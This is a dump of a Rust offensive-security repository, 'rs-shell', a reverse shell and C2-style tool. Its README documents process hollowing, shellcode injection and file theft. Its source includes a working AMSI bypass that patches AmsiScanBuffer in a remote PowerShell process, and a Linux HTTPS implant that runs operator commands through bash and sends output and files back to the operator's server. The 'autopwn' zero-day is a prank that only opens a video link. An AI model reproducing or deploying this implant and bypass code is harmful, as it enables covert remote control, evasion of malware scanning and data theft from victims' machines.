Repository: BlWasp/rs-shell
Branch: main
Commit: d1db0100fefe
Files: 22
Total size: 261.1 KB
Directory structure:
gitextract_dup77qzh/
├── .gitignore
├── .gitmodules
├── .vscode/
│ └── settings.json
├── Cargo.toml
├── LICENSE
├── README.md
└── src/
├── amsi_bypass.rs
├── autopwn.rs
├── https/
│ ├── https_linux_implant.rs
│ ├── https_operator.rs
│ ├── https_server.rs
│ ├── https_windows_implant.rs
│ └── routes.rs
├── loader.rs
├── loader_syscalls.rs
├── main.rs
├── tcp/
│ ├── tcp_linux_client.rs
│ ├── tcp_server.rs
│ └── tcp_windows_client.rs
└── utils/
├── structures.rs
├── tools.rs
└── tools_windows.rs
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Generated by Cargo
# will have compiled files and executables
/target/
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
Cargo.lock
# These are backup files generated by rustfmt
**/*.rs.bk
output_*/
# shellcode
*.raw
*.bin
# TLS certificates
certificat.pfx
cert.pem
key.pem
# Test files
next_task.txt
output.txt
os.txt
================================================
FILE: .gitmodules
================================================
================================================
FILE: .vscode/settings.json
================================================
{
"rust-analyzer.linkedProjects": [
".\\Cargo.toml",
".\\Cargo.toml",
".\\Cargo.toml"
]
}
================================================
FILE: Cargo.toml
================================================
[package]
name = "rs-shell"
version = "0.2.5"
edition = "2024"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
native-tls = "0.2.14"
signal-hook = "0.3.18"
regex = "1.12.2"
open = "5.3.3"
simple_logger = "5.1.0"
log = "0.4.28"
ctrlc = "3.5.1"
clap = { version = "4.5.53", features = ["derive"] }
ntapi = "0.4.1"
winapi = "0.3.9"
time = "0.3.44"
tokio = "1.50.0"
actix-web = { version = "4.12.0", features = ["rustls-0_22"] }
rustls = "0.22.4" # Do not upgrade for the moment, building errors with cmake starting at 0.23.0
rustls-pemfile = "2.2.0"
actix-files = "0.6.8"
actix-multipart = "0.7.2"
reqwest = { version = "0.12.24", features = ["blocking", "rustls-tls", "multipart"] }
[dependencies.windows-sys]
version = "0.61.2"
features = [
"Win32_System_Memory",
"Win32_Foundation",
"Win32_Security",
"Win32_System_Threading",
"Win32_System_Diagnostics_Debug",
"Win32_System_Diagnostics_ToolHelp",
"Win32_System_LibraryLoader",
"Win32_System_Kernel",
"Wdk_System_Threading",
"Win32_Networking_WinInet",
"Win32_Networking_WinHttp"
]
[target.'cfg(target_os = "windows")'.dependencies]
syscalls = { git = "https://github.com/BlWasp/syscalls-rs.git", branch = "main", features = ["_INDIRECT_"] }
================================================
FILE: LICENSE
================================================
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PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: README.md
================================================
RS-Shell
*"The worst Rust programmer you have ever seen"* - my mom
*"But at least it works"* - still my mom, but not about me
## Description
RS-Shell is reverse shell solution developped in Rust with client, implant and server embedded in the same binary. This project has been mainly started to learn Rust with a tool that could help me in my work, and the code quality could be greatly improved. This project is like my Rust sandbox where I can test new things.
RS-Shell implements two modes: **TLS over TCP** and **HTTPS**.
* TLS over TCP mode is a standard reverse shell where the implant executed on the target machine will connect back to the TLS listener, running on the operator's machine
* HTTPS mode works more like a C2 infratructure, with an HTTPS server, an implant, and a client:
* The HTTPS server is executed on a server accessible by both the implant and the client. It is based on the [Actix](https://actix.rs/) web framework with [Rustls](https://docs.rs/rustls/latest/rustls/)
* The implant is executed on the target machine and will request the server for "new tasks" every 2 seconds (by default, can be changed in the code for the moment)
* The client is executed on the operator's machine. It will also connect to the server via HTTPS, and will permit to send the commands to the implant
Windows HTTPS implant is partially proxy aware thanks to the [Windows's WinINet library](https://learn.microsoft.com/fr-fr/windows/win32/wininet/about-wininet). This means that it is able to identify proxy configuration in the registry and automatically authenticate against it if necessary (if the proxy is not configured via the registry or a WPAD file, this will probably fail, and you will have to indicate the proxy URL and the credentials manually in the implant code).
Client, implant and server are all cross-platform and work on Windows and Linux systems.
For Windows implants, additonal features have been integrated for offensive purpose, and they will be improved in futur commits.
For this purpose, I have chosen to mainly use the official [windows_sys](https://docs.rs/windows-sys/latest/windows_sys/) crate to interact with the Win32API and the [ntapi](https://docs.rs/ntapi/latest/ntapi/) crate for the NTAPI.
The project is thought in module. This means that you can easily add or remove features to and from it, and you can also easily take parts from it to put them in your own project.
## Features
For the moment, the following features are present:
* Semi-interactive reverse shell via TLS over TCP
* Semi-interactive reverse shell via HTTPS with a *C2 like infrastructure*, and a proxy aware Windows implant
* File upload and download
* Start a PowerShell interactive session with the ability to patch the AMSI in memory with or without indirect syscalls (**only in TCP mode**)
* Loading features :
* Load and execute a PE in the implant memory, **with or without indirect syscalls**
* Load and execute a PE in a remote process memory, **with or without indirect syscalls**
* Load and execute a shellcode in a remote process memory, **with or without indirect syscalls**
* Autopwn the client machine and elevate the privileges to SYSTEM or root by exploiting a 0day in `tcpdump`
To perform the indirect syscalls, I use the incredible [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) project initiate by [memN0ps](https://twitter.com/memN0ps). However, I use the version from my repository, which just patches little errors I have found regarding libraries versions and crate imports.
## How to
### Setup
By default, only the `error`, `warn` and `info` logs are displayed. If you also need the `debug` ones (can be usefull for the loading features), you can change this in `main.rs` by modifying `::log::set_max_level(LevelFilter::Info);` to `::log::set_max_level(LevelFilter::Debug);`.
#### TCP setup
I have set a `dummy` domain for hostname validation in the `connect()` function for both clients in TCP mode. If you use a signed certificate for a real server, you can change it and remove the unsecure functions that remove hostname and certs validations.
A new self-signed PKCS12 TLS certificate can be obtained like this:
```bash
openssl req -newkey rsa:2048 -nodes -keyout private.key -x509 -days 365 -out certificate.cer
openssl pkcs12 -export -out certificate.pfx -inkey private.key -in certificate.cer
```
#### HTTPS setup
Similarly to TCP, I have set up all the flags in the clients' configurations to avoid certificate checks and use self-signed certificates. If you use a signed certificate for a real server, you can change it and remove the unsecure flags that remove hostname and certs validations.
Rustls doesn't seem to support PKCS12 certificates (maybe I haven't found how to do it?). So, to obtain a PKCS8 certificate with a separate private key:
```bash
openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj '/CN=localhost'
```
### Compilation
The project can be compiled with `cargo build --release` on Windows or Linux and the binary will be present in `target/release/`, or the target name if a target is specified.
To cross-compile for a different target than your current OS you can use, for example, `cargo build --release --target x86_64-pc-windows-gnu`. In order to work, this requires the appropriate target toolchain to be installed. As an example, to generate Windows binaries from an Ubuntu machine:
* `sudo apt install mingw-w64`
* `rustup target add x86_64-pc-windows-gnu`
* `cargo build --release --target x86_64-pc-windows-gnu`
The project compilation has been tested with the following Rust toolchains :
* `stable-x86_64-pc-windows-gnu`
* `stable-x86_64-pc-windows-msvc`
* `stable-x86_64-unknown-linux-gnu`
If you compile the project for a Linux target, the "Windows features" will be removed at compilation.
Should run on all Windows and Linux versions (I have hope).
### Usage
```plain
Usage: rs-shell.exe [OPTIONS] --mode --side --ip
Options:
-m, --mode communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure) [possible values: tcp, https]
-s, --side launch the implant (i), the client (c) (only for HTTPS), or the listener (l) [possible values: i, c, l]
-i, --ip IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants
-p, --port port address to bind to for the TCP listener, or to connect to for the implant
--cert-path path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS
--cert-pass password of the TLS PKCS12 certificate for the TCP server
--key-path path of the TLS key for the HTTPS server
-h, --help Print help
-V, --version Print version
```
#### TCP usage
To obtain a session, just launch the binary in listener mode on your machine with `rs-shell.exe -m tcp -s l -i IP_to_bind_to -p port_to_bind_to --cert-path certificate_path --cert-pass certificate_password`. For example `rs-shell.exe -m tcp -s l -i 0.0.0.0 -p 4545 --cert-path certificate.pfx --cert-pass "Password"`.
Then, on the target machine launch the implant to connect back to your server with `rs-shell.exe -m tcp -s i -i IP_to_connect_to -p port_to_connect_to`. For example `rs-shell.exe -s c --ip 192.168.1.10 --port 4545`.
#### HTTPS usage
First, launch the binary in server mode on a server that can be reached by both the implant and the client: `rs-shell.exe -m https -s l -i IP_to_bind_to --cert-path certificate_path --key-path private_key_path`. For example `rs-shell.exe -m https -s l -i 0.0.0.0 --cert-path .\cert.pem --key-path .\key.pem`.
Then, execute the implant on the target machine with `rs-shell.exe -m https -s i -i IP_to_connect_to`. For example `rs-shell.exe -m https -s i -i 192.168.1.40`.
Finally, run the client on your machine to connect to the server and start to interact with the implant with `rs-shell.exe -m https -s c -i IP_to_connect_to`. For example `rs-shell.exe -m https -s c -i 192.168.1.40`.
### Advanced commands
```plain
> help
[+] Custom integrated commands :
[+] Loading commands
> load C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it. This will kill the reverse shell !
> load -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it
> load -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it
[+] Loading commands with indirect syscalls
> syscalls C:\\path\\to\\PE_to_load
load a PE file in the client process memory and executes it, with indirect syscalls. This will kill the reverse shell !
> syscalls -h C:\\path\\to\\PE_to_load C:\\path\\to\\PE_to_hollow
load a PE file in a remote process memory with process hollowing and executes it, with indirect syscalls
> syscalls -s C:\\path\\to\\shellcode.bin C:\\path\\to\\PE_to_execute
load a shellcode in a remote process memory and start a new thread with it, with indirect syscalls
[+] Bypass commands
> powpow
start a new interactive PowerShell session with the AMSI patched in memory, with or without indirect syscalls
[+] Network commands
> download C:\\file\\to\\download C:\\local\\path
download a file from the remote system
> upload C:\\local\\file\\to\\upload C:\\remote\\path\\to\\write
upload a file to the remote system
[+] Special commands
> autopwn
escalate to the SYSTEM or root account from any local account by exploiting a zero day
```
The `load` commands permit to load and execute directly in memory:
* `load` loads and execute a PE in the client memory. **This will kill the reverse shell**, but that could be usefull to launch a C2 implant in the current process for example
* `load -h` loads and execute a PE in a created remote process memory with process hollowing. You don't lose your reverse shell session, but the process hollowing will be potentially flag by the AV or the EDR
* `load -s` loads and execute a shellcode from a `.bin` file in a created remote process memory. You don't lose your reverse shell session, and you don't have to drop the bin file on the target, since the shellcode will be transfered to the target from your machine without touching the target's disk
For example : `> load -h C:\Windows\System32\calc.exe C:\Windows\System32\cmd.exe`. This will start a `cmd.exe` process with hollowing, load a `calc.exe` image in the process memory, and then resume the thread to execute the calc.
On the other hand, the `syscalls` commands permit the same things, but everything is performed with *indirect syscalls*.
`powpow` (**only available in TCP mode**) starts an interactive PowerShell session with a PowerShell process where the AMSI `ScanBuffer` function has been patched in memory. This feature is not particularly opsec. The patching operation can be performed with or without indirect syscalls.
`download` permits to download a file from the client to the machine where the server is running. For example `download C:\Users\Administrator\Desktop\creds.txt ./creds.txt`. In HTTPS mode it is just `download C:\Users\Administrator\Desktop\creds.txt`, and the file will be downloaded in the `downloads` directory on the server.
`upload` permits to upload a file on the client machine. For example `upload ./pwn.exe C:\Temp\pwn.exe`. In HTTPS mode it is just `upload ./pwn.exe`, and the file will be uploaded in the directory where the implant has been written.
`autopwn` permits to escalate to the **SYSTEM or root account** with a 0day exploitation. Just type `autopwn` and answer the question.
## Todo
- [x] Move all the Win32API related commands to the NTAPI with indirect syscalls
- [ ] Implement other injection techniques
- [ ] Implement a port forwarding solution
- [x] Find a way to create a fully proxy aware client
- [ ] Implement a reverse socks proxy feature
## Disclaimers
This is an obvious disclaimer because I don't want to be held responsible if someone uses this tool against anyone who hasn't asked for anything.
Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.
## Acknowledgements
* [OffensiveRust](https://github.com/winsecurity/Offensive-Rust) by [winsecurity](https://github.com/winsecurity). This project would never have existed without him. Many of functions, structures, and tricks present in `rs-shell` come from this project
* [OffensiveRust](https://github.com/trickster0/OffensiveRust) by [trickster0](https://github.com/trickster0)
* Multiple projects by [memN0ps](https://github.com/memN0ps)
* [RustPacker](https://github.com/Nariod/RustPacker) by [Nariod](https://github.com/Nariod)
* Nik Brendler's blog posts about pipe communication between process in Rust. [Part 1](https://www.nikbrendler.com/rust-process-communication/) and [Part 2](https://www.nikbrendler.com/rust-process-communication-part-2/)
* [rust-mordor-rs](https://github.com/gmh5225/rust-mordor-rs) by [memN0ps](https://twitter.com/memN0ps), an incredible library for indirect syscalls in Rust
* [Actix](https://actix.rs/) web framework
================================================
FILE: src/amsi_bypass.rs
================================================
#![cfg(target_family = "windows")]
use crate::utils::structures::{IMAGE_nt_headS64, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY};
use crate::utils::tools_windows::*;
use core::time;
use regex::Regex;
use std::error::Error;
use std::ffi::c_void;
use std::io::{BufReader, Read, Write};
//use std::mem::MaybeUninit;
use std::process::Child;
use std::sync::mpsc::{Receiver, Sender, TryRecvError};
use std::thread;
use ntapi::ntapi_base::CLIENT_ID;
use winapi::shared::ntdef::{HANDLE, NTSTATUS, NT_SUCCESS, NULL, OBJECT_ATTRIBUTES, PVOID};
use winapi::um::winnt::{PAGE_EXECUTE_READ, PAGE_READWRITE};
use windows_sys::Win32::Foundation::CloseHandle;
use windows_sys::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
CreateToolhelp32Snapshot, Module32First, Module32Next, MODULEENTRY32, TH32CS_SNAPALL,
};
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
use syscalls::syscall;
static PATH_REGEX: &str = r#"PS (?(?:[a-zA-Z]\:|\\\\[\w\s\.\-]+\\[^\/\\<>:"|?\n\r]+)\\(?:[^\/\\<>:"|?\n\r]+\\)*)(?[^\/\\<>:"|?\n\r]*?)> "#;
fn get_scan_buffer(amsiaddr: isize, phandle: *mut c_void, syscalls_value: bool) -> isize {
let mut status: NTSTATUS;
let mut buf: [u8; 64] = [0; 64];
unsafe {
// Retrieves the DOS headers of amsi.dll
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
amsiaddr as *mut c_void,
buf.as_mut_ptr() as *mut c_void,
buf.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the DOS headers: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
amsiaddr as *const c_void,
buf.as_mut_ptr() as *mut c_void,
64,
std::ptr::null_mut(),
);
}
let mut dos_head = IMAGE_DOS_HEADER::default();
fill_structure_from_array(&mut dos_head, &buf, syscalls_value);
// Retrieves the NT headers of amsi.dll
let mut nt_head = IMAGE_nt_headS64::default();
fill_structure_from_memory(
&mut nt_head,
(amsiaddr + dos_head.e_lfanew as isize) as *const c_void,
phandle,
syscalls_value,
);
log::debug!(
"NT headers: {:#x?}",
nt_head.OptionalHeader.ExportTable.VirtualAddress
);
// Parse all the DLL's exports and find the AmsiScanBuffer function
let mut exports = IMAGE_EXPORT_DIRECTORY::default();
fill_structure_from_memory(
&mut exports,
(amsiaddr + nt_head.OptionalHeader.ExportTable.VirtualAddress as isize)
as *const c_void,
phandle,
syscalls_value,
);
log::debug!("Exports: {:#x?}", exports);
let mut i = 0;
loop {
let mut nameaddr: [u8; 4] = [0; 4];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *mut c_void,
nameaddr.as_mut_ptr() as *mut c_void,
nameaddr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the function: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfNames as isize + (i * 4)) as *const c_void,
nameaddr.as_mut_ptr() as *mut c_void,
nameaddr.len(),
std::ptr::null_mut(),
);
}
let num = u32::from_ne_bytes(nameaddr.try_into().unwrap());
let funcname = read_from_memory(
(amsiaddr + num as isize) as *const c_void,
phandle,
syscalls_value,
);
if funcname.trim_end_matches('\0') == "AmsiScanBuffer" {
log::debug!("Name: {}", funcname);
let mut ord: [u8; 2] = [0; 2];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))
as *mut c_void,
ord.as_mut_ptr() as *mut c_void,
ord.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the index number: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfNameOrdinals as isize + (i * 2))
as *const c_void,
ord.as_mut_ptr() as *mut c_void,
ord.len(),
std::ptr::null_mut(),
);
}
let index = u16::from_ne_bytes(ord.try_into().unwrap());
log::debug!("Index: {}", index);
let mut addr: [u8; 4] = [0; 4];
if syscalls_value {
status = syscall!(
"NtReadVirtualMemory",
phandle as *mut c_void,
(amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))
as *mut c_void,
addr.as_mut_ptr() as *mut c_void,
addr.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!(
"Error reading target memory to retrieve the index address: {:x}",
status
);
}
} else {
ReadProcessMemory(
phandle,
(amsiaddr + exports.AddressOfFunctions as isize + (index as isize * 4))
as *const c_void,
addr.as_mut_ptr() as *mut c_void,
addr.len(),
std::ptr::null_mut(),
);
}
let addrindex = u32::from_ne_bytes(addr.try_into().unwrap());
log::debug!("Index addr: {}", addrindex);
return amsiaddr + addrindex as isize;
}
i += 1;
if i >= exports.NumberOfNames as isize {
break;
}
}
return 0;
}
}
pub fn patch_amsi(pid: u32, syscalls_value: bool) {
unsafe {
// Start PowerShell process
//let mut lpStartupInfo: STARTUPINFOA = std::mem::zeroed();
//let mut lpProcessInformation: windows_sys::Win32::System::Threading::PROCESS_INFORMATION = std::mem::zeroed();
/*CreateProcessA(
"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\0".as_ptr() as *const u8,
std::ptr::null_mut(),
std::ptr::null_mut(),
std::ptr::null_mut(),
0,
CREATE_NO_WINDOW,
std::ptr::null_mut(),
std::ptr::null_mut(),
&mut lpStartupInfo as *mut STARTUPINFOA,
&mut lpProcessInformation
as *mut windows_sys::Win32::System::Threading::PROCESS_INFORMATION,
);*/
let mut new_handle = pid as HANDLE;
let mut status: NTSTATUS;
if syscalls_value {
let object_attr = OBJECT_ATTRIBUTES::default();
let client_id: CLIENT_ID = CLIENT_ID {
UniqueProcess: pid as _,
UniqueThread: 0 as _,
};
status = syscall!(
"NtOpenProcess",
&mut new_handle,
PROCESS_ALL_ACCESS,
&object_attr,
&client_id
);
if !NT_SUCCESS(status) {
log::debug!("Error openning target process: {:x}", status);
}
} else {
new_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, pid) as *mut c_void;
}
//Wait for the process to totally load before the snap
std::thread::sleep(time::Duration::from_secs(2));
let snap_handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, pid);
// Initialization
let mut first_mod: MODULEENTRY32 = std::mem::zeroed();
first_mod.dwSize = std::mem::size_of::() as u32;
Module32First(snap_handle, &mut first_mod as *mut MODULEENTRY32);
let _modulname = string_from_array(
&mut first_mod
.szModule
.to_vec()
.iter()
.map(|&x| x as u8)
.collect(),
);
log::debug!("Module name: {:?}", _modulname);
// Search for the amsi.dll module in the PowerShell process memory
let mut amsiaddr: isize = 0;
loop {
let mut next_mod: MODULEENTRY32 = std::mem::zeroed();
next_mod.dwSize = std::mem::size_of::() as u32;
let res_next = Module32Next(snap_handle, &mut next_mod as *mut MODULEENTRY32);
let next_module = string_from_array(
&mut next_mod
.szModule
.to_vec()
.iter()
.map(|&x| x as u8)
.collect(),
);
log::debug!("Next module: {:?}", next_module);
if next_module == "amsi.dll" {
amsiaddr = next_mod.modBaseAddr as isize;
break;
}
if res_next != 1 {
break;
}
}
log::debug!("Amsi base addr: {:x?}", amsiaddr);
let mut scanbuffer_addr =
get_scan_buffer(amsiaddr, new_handle, syscalls_value) as *mut c_void;
log::debug!("AmsiScanBuffer base addr: {:x?}", scanbuffer_addr);
// mov rax, 1
// ret
let mut patch: [u8; 8] = [0x48, 0xC7, 0xC0, 0x01, 0x00, 0x00, 0x00, 0xC3];
if syscalls_value {
let mut save_addr: PVOID = scanbuffer_addr;
let mut old_perms = PAGE_EXECUTE_READ;
status = syscall!(
"NtProtectVirtualMemory",
new_handle,
&mut scanbuffer_addr,
&mut patch.len(),
PAGE_READWRITE,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error changing memory permissions: {:x}", status);
}
status = syscall!(
"NtWriteVirtualMemory",
new_handle,
save_addr,
patch.as_mut_ptr() as *mut c_void,
patch.len(),
NULL
);
if !NT_SUCCESS(status) {
log::debug!("Error patching target process: {:x}", status);
}
status = syscall!(
"NtProtectVirtualMemory",
new_handle,
&mut save_addr,
&mut patch.len(),
old_perms,
&mut old_perms
);
if !NT_SUCCESS(status) {
log::debug!("Error rollback memory permissions: {:x}", status);
}
} else {
WriteProcessMemory(
new_handle,
scanbuffer_addr,
patch.as_ptr() as *const c_void,
patch.len(),
std::ptr::null_mut(),
);
}
CloseHandle(new_handle);
}
}
pub fn start_process_thread(
child: &mut Child,
sender: Sender,
receiver: Receiver,
) -> Result<(), Box> {
let mut stdin = child.stdin.take().unwrap();
let stdout = child.stdout.take().unwrap();
let path_regex = Regex::new(PATH_REGEX).unwrap();
thread::spawn(move || {
let mut f = BufReader::new(stdout);
let mut buff_to_send: [u8; 4096];
loop {
buff_to_send = [0; 4096];
match f.read(&mut buff_to_send) {
Ok(_) => {
/*
Here we stop reading PowerShell output with a regex that matches the PS line waiting for user input "PS >"
- Is it crappy ? Yes
- Is there a better solution ? Yeah, probably
- Have I tried other solutions ? Yes, like searching for an EOF like or identifying the PowerShell thread waiting for UserRequest, but none has been successfull
- What can you do to make the world a better place ? Make a PR :)
*/
while !path_regex.is_match(
String::from_utf8_lossy(&buff_to_send)
.trim_end_matches("\0")
.to_string()
.as_str(),
) {
sender
.send(String::from_utf8_lossy(&buff_to_send).to_string())
.expect("Thread send error");
buff_to_send = [0; 4096];
match f.read(&mut buff_to_send) {
Ok(_) => (),
Err(r) => {
sender
.send(
"Error reading output from stdout: ".to_string()
+ &r.to_string(),
)
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
break;
}
}
}
sender
.send(String::from_utf8_lossy(&buff_to_send).to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
}
Err(r) => {
log::debug!("{:?}", r);
sender
.send("Error reading output from stdout: ".to_string() + &r.to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
}
loop {
match receiver.try_recv() {
Ok(command) => match stdin.write_all(command.as_bytes()) {
Ok(_) => break,
Err(r) => {
log::debug!("Error sending command to stdin: {:?}", r);
sender
.send(
"Error sending command to stdin: ".to_string() + &r.to_string(),
)
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
},
Err(TryRecvError::Empty) => {
continue;
}
Err(r) => {
log::debug!("Thread recv error: {:?}", r);
sender
.send("Error reading command: ".to_string() + &r.to_string())
.unwrap();
sender.send("EndOfOutput".to_string()).unwrap();
continue;
}
}
}
}
});
Ok(())
}
================================================
FILE: src/autopwn.rs
================================================
use core::time;
pub fn autopwn() {
log::info!("Searching for the base addr...");
std::thread::sleep(time::Duration::from_secs(1));
log::info!("Locating the buffer...");
std::thread::sleep(time::Duration::from_millis(500));
log::info!("Exploiting null-byte poisoning...");
std::thread::sleep(time::Duration::from_secs(1));
log::info!("Using meaning of life to overlap the chunk...");
std::thread::sleep(time::Duration::from_secs(1));
open::that("https://www.youtube.com/watch?v=dQw4w9WgXcQ&autoplay=1").unwrap();
log::error!("Now read the code before launching any command from an unknown project");
}
================================================
FILE: src/https/https_linux_implant.rs
================================================
use reqwest::{blocking::multipart, blocking::Client};
use std::fs::File;
use std::io::Write;
use std::{error::Error, path::Path, process::Command};
use std::{thread, time};
fn do_stuff(cmd: &str) -> Vec {
let exec = Command::new("/bin/bash")
.args(["-c", cmd.trim_end_matches("\r\n")])
.output()
.unwrap();
let stdo = exec.stdout.as_slice();
let _stdr = exec.stderr.as_slice();
if _stdr.is_empty() {
stdo.to_vec()
} else {
_stdr.to_vec()
}
}
pub fn implant(ip: &str) -> Result<(), Box> {
// HTTPS implant without certificate verification
let client = Client::builder()
.danger_accept_invalid_certs(true)
.build()?;
let mut url = format!("https://{}/rs-shell/index", ip);
// Connect to the server and get the banner
let mut response = client.get(url).send()?;
if response.status().is_success() {
log::debug!("Session initialized");
let os = std::env::consts::FAMILY;
url = format!("https://{}/rs-shell/os", ip);
response = client.post(url).body(os).send()?;
if response.status().is_success() {
log::debug!("OS send");
} else {
log::debug!("HTTP error: {}", response.status());
}
loop {
// Get the next task
url = format!("https://{}/rs-shell/next_task", ip);
response = client.get(url).send()?;
if response.status().is_success() {
let res = response.text()?.to_string();
log::debug!("Task: {}", res);
let (cmd, value) = match res.split_once(':') {
Some((cmd, value)) => (cmd, value),
None => (res.as_str(), ""),
};
match cmd {
"cmd" => {
let res_cmd = do_stuff(value);
log::debug!("{}", String::from_utf8_lossy(&res_cmd));
url = format!("https://{}/rs-shell/receive_output", ip);
response = client.post(url).body(res_cmd).send()?;
if response.status().is_success() {
log::debug!("Command executed");
} else {
log::debug!("HTTP error: {}", response.status());
}
}
"upload" => {
let url = format!("https://{}/rs-shell/upload{}", ip, value);
let response = client.get(url).send()?;
if response.status().is_success() {
let path = Path::new(value.trim());
File::create(path.file_name().unwrap().to_str().unwrap())
.unwrap()
.write_all(response.bytes().unwrap().to_vec().as_slice())?;
log::debug!("Uploaded file into ./");
} else {
log::debug!("HTTP error uploading file: {}", response.status());
}
}
"download" => {
let url = format!("https://{}/", ip);
match multipart::Form::new().file("file", value.trim_end_matches("\n")) {
Ok(form) => {
response = client.post(url).multipart(form).send()?;
if response.status().is_success() {
log::debug!("Downloaded file: {}", value);
} else {
log::debug!(
"HTTP error downloading file: {}",
response.status()
);
}
}
Err(e) => log::debug!("Error: {}", e),
}
}
"No task" => {
log::debug!("No task");
}
"exit" | "quit" => {
log::debug!("Exiting...");
break;
}
_ => log::debug!("Unknown command"),
}
} else {
log::debug!("Error obtaining new task: {}", response.status());
continue;
}
// For the moment the implant sleeps 3 seconds between each request, could be interesting to randomize this value
// Or setup an option to change it via the CLI
thread::sleep(time::Duration::from_secs(2));
}
} else {
log::debug!("RS-Shell server cannot be reached: {}", response.status());
}
Ok(())
}
================================================
FILE: src/https/https_operator.rs
================================================
use reqwest::{blocking::multipart, blocking::Client};
use std::{
error::Error,
io::{self, Write},
path::Path,
};
use crate::autopwn;
